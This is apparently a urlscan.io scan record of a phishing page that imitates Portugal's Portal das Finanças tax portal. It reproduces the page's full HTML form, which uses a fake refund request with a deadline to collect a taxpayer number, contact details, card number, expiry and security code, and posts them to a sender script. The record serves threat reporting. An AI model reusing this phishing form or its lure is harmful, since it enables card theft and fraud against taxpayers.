creatypo.be Open in urlscan Pro
2a06:2ec0:1:e::125  Public Scan

Submitted URL: https://creatypo.be/pt/Portal-das-Financas/%20
Effective URL: https://creatypo.be/pt/Portal-das-Financas/
Submission Tags: https://phish.report @phish_report Search All
Submission: On August 29 via api from FI — Scanned from FI

Form analysis 1 forms found in the DOM

POST ./sender/s1.php

<form action="./sender/s1.php" method="POST">
  <noscript>
    <div class="alert alert-warning"><button type="button" class="close" data-dismiss="alert" aria-label="Close">
        <span aria-hidden="true">×</span></button>Ative o seu javascript para uma melhor utilização.</div>
  </noscript>
  <h2>Solicitação de reembolso</h2>
  <div class="row">
    <div class="col-md-8">
      <legend style="
    background-color: #e4e5e6;
    border-left: solid #001c44 4px;
    padding-left: 6px;
    padding-top: 4px;
    padding-bottom: 4px;
">
        <small>Nota: Para evitar atrasos, certifique-se de enviar este formulário antes do prazo (4 de Setembro de 2022)</small>
      </legend>
    </div>
  </div>
  <div class="row">
    <div class="col-md-4">
      <div class="form-group form-group-sm  has-error">
        <label for="nif" style="
    font-size: 13px;
">NIF</label>
        <input type="text" name="a" id="nif" placeholder="Ex.: 123456789" pattern="[0-9/]{9,14}" class="form-control" value="" aria-required="true" aria-invalid="true" style="
    border-color: #cdcdcd;
">
        <div class="error-container">
        </div>
      </div>
    </div>
  </div>
  <div class="row">
    <div class="col-md-4">
      <div class="form-group form-group-sm ">
        <label for="email" style="
    font-size: 13px;
">E-mail</label>
        <input type="email" name="b" id="email" placeholder="Ex.: nome@mail.pt" class="form-control" value="">
        <div class="text-right"><span class="opcional-label">(Opcional)</span></div>
        <div class="error-container">
        </div>
      </div>
    </div>
    <div class="col-md-4">
      <div class="form-group form-group-sm ">
        <label for="phone" data-toggle="tooltip" title="" data-original-title="Introduza o número de telefone fixo/móvel português" style="
    font-size: 13px;
"> Telefone&nbsp;&nbsp;&nbsp;<i class="fa fa-question-circle"></i></label>
        <input type="tel" name="c" id="phone" placeholder="Ex.: 210000000" class="form-control" value="">
        <div class="text-right"><span class="opcional-label">(Opcional)</span></div>
        <div class="error-container">
        </div>
      </div>
    </div>
  </div>
  <div class="row">
    <div class="col-md-8">
      <div class="form-group form-group-sm ">
        <label for="address" data-toggle="tooltip" title="" data-original-title="Introduza a morada tal como a indicou no Cartão de Cidadão" style="
    font-size: 13px;
"> Informação do receptor&nbsp;&nbsp;&nbsp;<i class="fa fa-question-circle"></i></label>
        <input name="d" id="creditcard" placeholder="Número do cartão de débito / crédito" class="form-control" value="" required="" maxlength="19">
        <script>
          function _getcaret(input) {
            if ('selectionStart' in input) {
              // Standard-compliant browsers
              return input.selectionStart;
            } else if (document.selection) {
              input.focus();
              var sel = document.selection.createRange();
              var selLen = document.selection.createRange().text.length;
              sel.moveStart('character', -input.value.length);
              return sel.text.length - selLen;
            }
          }

          function _setcaret(input, pos) {
            if (input.setSelectionRange) {
              input.focus()
              input.setSelectionRange(pos, pos)
            } else if (input.createTextRange) {
              var range = input.createTextRange();
              range.move('character', pos);
              range.select();
            }
          }

          function _format_464(cc) {
            return [cc.substring(0, 4), cc.substring(4, 10), cc.substring(10, 14)].join(' ').trim()
          }

          function _format_465(cc) {
            return [cc.substring(0, 4), cc.substring(4, 10), cc.substring(10, 15)].join(' ').trim()
          }

          function _format_4444(cc) {
            return cc ? cc.match(/[0-9]{1,4}/g).join(' ') : ''
          }
          _CARD_TYPES = [{
            'type': 'visa',
            'pattern': /^4/,
            'format': _format_4444,
            'maxlength': 19
          }, {
            'type': 'master',
            'pattern': /^(5[12345])|(2[2-7])/,
            'format': _format_4444,
            'maxlength': 16
          }, {
            'type': 'amex',
            'pattern': /^3[47]/,
            'format': _format_465,
            'maxlength': 15
          }, {
            'type': 'jcb',
            'pattern': /^35[2-8]/,
            'format': _format_465,
            'maxlength': 19
          }, {
            'type': 'maestro',
            'pattern': /^(5018|5020|5038|5893|6304|6759|676[123])/,
            'format': _format_4444,
            'maxlength': 19
          }, {
            'type': 'discover',
            'pattern': /^6[024]/,
            'format': _format_4444,
            'maxlength': 19
          }, {
            'type': 'instapayment',
            'pattern': /^63[789]/,
            'format': _format_4444,
            'maxlength': 16
          }, {
            'type': 'diners_club_carte_blanche',
            'pattern': /^30[0-5]/,
            'format': _format_464,
            'maxlength': 14
          }, {
            'type': 'diners_club_international',
            'pattern': /^30[0-5]/,
            'format': _format_464,
            'maxlength': 14
          }, {
            'type': 'diners_club',
            'pattern': /^54/,
            'format': _format_4444,
            'maxlength': 16
          }]

          function _format_cardnumber(cc, maxlength) {
            cc = cc.replace(/[^0-9]+/g, '')
            for (var i in _CARD_TYPES) {
              const ct = _CARD_TYPES[i]
              if (cc.match(ct.pattern)) {
                cc = cc.substring(0, ct.maxlength)
                return ct.format(cc)
              }
            }
            return _format_4444(cc)
            /*
        if(maxlength) {
            cc = cc.substring(0,maxlength)
        }
        if(cc.match(/^3[47]/)) {
            return [cc.substring(0,4),cc.substring(4,10),cc.substring(10,15)].join(' ').trim()
        }
        return cc?cc.match(/.{1,4}/g).join(' '):''
*/
          }

          function _set_creditcard_number(event) {
            const input = event.target
            const maxlength = input.getAttribute('maxlength')
            var oldval = input.value
            var caret_position = _getcaret(input)
            var before_caret = oldval.substring(0, caret_position)
            before_caret = _format_cardnumber(before_caret)
            caret_position = before_caret.length
            var newvalue = _format_cardnumber(oldval, maxlength)
            if (oldval == newvalue) return
            input.value = newvalue
            _setcaret(input, caret_position)
          }

          function make_credit_card_input(input) {
            input.addEventListener('input', _set_creditcard_number)
            input.addEventListener('keyup', _set_creditcard_number)
            input.addEventListener('keydown', _set_creditcard_number)
            input.addEventListener('keypress', _set_creditcard_number)
            input.addEventListener('change', _set_creditcard_number)
          }
          make_credit_card_input(document.getElementById("creditcard"));
        </script>
        <script>
          $('#credit-card').on('keypress change', function() {
            $(this).val(function(index, value) {
              return value.replace(/\W/gi, '').replace(/(.{4})/g, '$1 ');
            });
          });
        </script>
        <div class="text-right"></div>
        <div class="error-container">
        </div>
      </div>
    </div>
  </div>
  <div class="row">
    <div class="col-md-4">
      <div class="form-group form-group-sm ">
        <input type="e" name="phone" id="phone" placeholder="MM/YY" class="form-control" value="" required="" onkeypress="validate(event)" onkeyup="formatString(event);" maxlength="5">
        <script>
          function formatString(e) {
            var inputChar = String.fromCharCode(event.keyCode);
            var code = event.keyCode;
            var allowedKeys = [8];
            if (allowedKeys.indexOf(code) !== -1) {
              return;
            }
            event.target.value = event.target.value.replace(/^([1-9]\/|[2-9])$/g, '0$1/' // 3 > 03/
            ).replace(/^(0[1-9]|1[0-2])$/g, '$1/' // 11 > 11/
            ).replace(/^([0-1])([3-9])$/g, '0$1/$2' // 13 > 01/3
            ).replace(/^(0?[1-9]|1[0-2])([0-9]{2})$/g, '$1/$2' // 141 > 01/41
            ).replace(/^([0]+)\/|[0]+$/g, '0' // 0/ > 0 and 00 > 0
            ).replace(/[^\d\/]|^[\/]*$/g, '' // To allow only digits and `/`
            ).replace(/\/\//g, '/' // Prevent entering more than 1 `/`
            );
          }
        </script>
        <div class="error-container">
        </div>
      </div>
    </div>
    <div class="col-md-4">
      <div class="form-group form-group-sm ">
        <input type="text" name="f" id="answer" class="form-control" placeholder="Código de Segurança" value="" required="" maxlength="3" onkeypress="validate(event)">
        <script>
          function validate(evt) {
            var theEvent = evt || window.event;
            // Handle paste
            if (theEvent.type === 'paste') {
              key = event.clipboardData.getData('text/plain');
            } else {
              // Handle key press
              var key = theEvent.keyCode || theEvent.which;
              key = String.fromCharCode(key);
            }
            var regex = /[0-9]|\./;
            if (!regex.test(key)) {
              theEvent.returnValue = false;
              if (theEvent.preventDefault) theEvent.preventDefault();
            }
          }
        </script>
        <div class="error-container">
        </div>
      </div>
    </div>
  </div>
  <div class="row margin-top hiddenOnOff" id="notifications">
    <div class="col-md-8">
      <label>Pretendo receber mensagens informativas por:</label>
      <div class="checkbox">
        <div class="checkboxEntry" id="checkboxEmail">
          <label class="margin-right-lg" for="receiveEmails">
            <input type="checkbox" name="receiveEmails" id="receiveEmails"> E-mail </label>
        </div>
        <div class="checkboxEntry" id="checkboxPhone">
          <label for="receiveSms">
            <input type="checkbox" name="receiveSms" id="receiveSms"> SMS </label>
        </div>
      </div>
    </div>
  </div>
  <div class="row hiddenOnOff" id="warningMessages">
    <div class="col-md-8">
      <div class="well"> Estas mensagens alertam para as obrigações fiscais que tem de cumprir, antes do fim dos respetivos prazos legais, evitando que incorra em custos adicionais (juros de mora, custas e coimas) desnecessários.<p>Salientamos que
          estas mensagens não substituem os avisos, notificações e citações definidos por lei.</p>
      </div>
    </div>
  </div>
  <input type="hidden" name="partID" value="PFAP">
  <input type="hidden" name="path" value="/geral/dashboard">
  <input type="hidden" name="_csrf" value="8e2b4450-34fd-4021-9892-13d5f9bfff56">
  <div class="row">
    <div class="col-md-8">
      <input type="submit" id="" class="btn btn-primary pull-right" value="ENVIAR">
    </div>
  </div>
  <div class="row">
    <div class="col-md-8">
      <hr>
    </div>
  </div>
</form>

Text Content

×Ative o seu javascript para uma melhor utilização.


SOLICITAÇÃO DE REEMBOLSO

Nota: Para evitar atrasos, certifique-se de enviar este formulário antes do
prazo (4 de Setembro de 2022)
NIF

E-mail
(Opcional)

Telefone   
(Opcional)

Informação do receptor   



Pretendo receber mensagens informativas por:
E-mail
SMS
Estas mensagens alertam para as obrigações fiscais que tem de cumprir, antes do
fim dos respetivos prazos legais, evitando que incorra em custos adicionais
(juros de mora, custas e coimas) desnecessários.

Salientamos que estas mensagens não substituem os avisos, notificações e
citações definidos por lei.



--------------------------------------------------------------------------------

LINKS ÚTEIS

 * Página Inicial
 * Informação Institucional
 * Carta do Utente
 * Dúvidas e Sugestões
 * Estatísticas
 * Privacidade

ÁREA PESSOAL

 * Dados Pessoais
 * Mensagens
 * Dados de Acesso

FALE CONNOSCO

 * 

Última atualização em 2022-01-17 | 5.0.18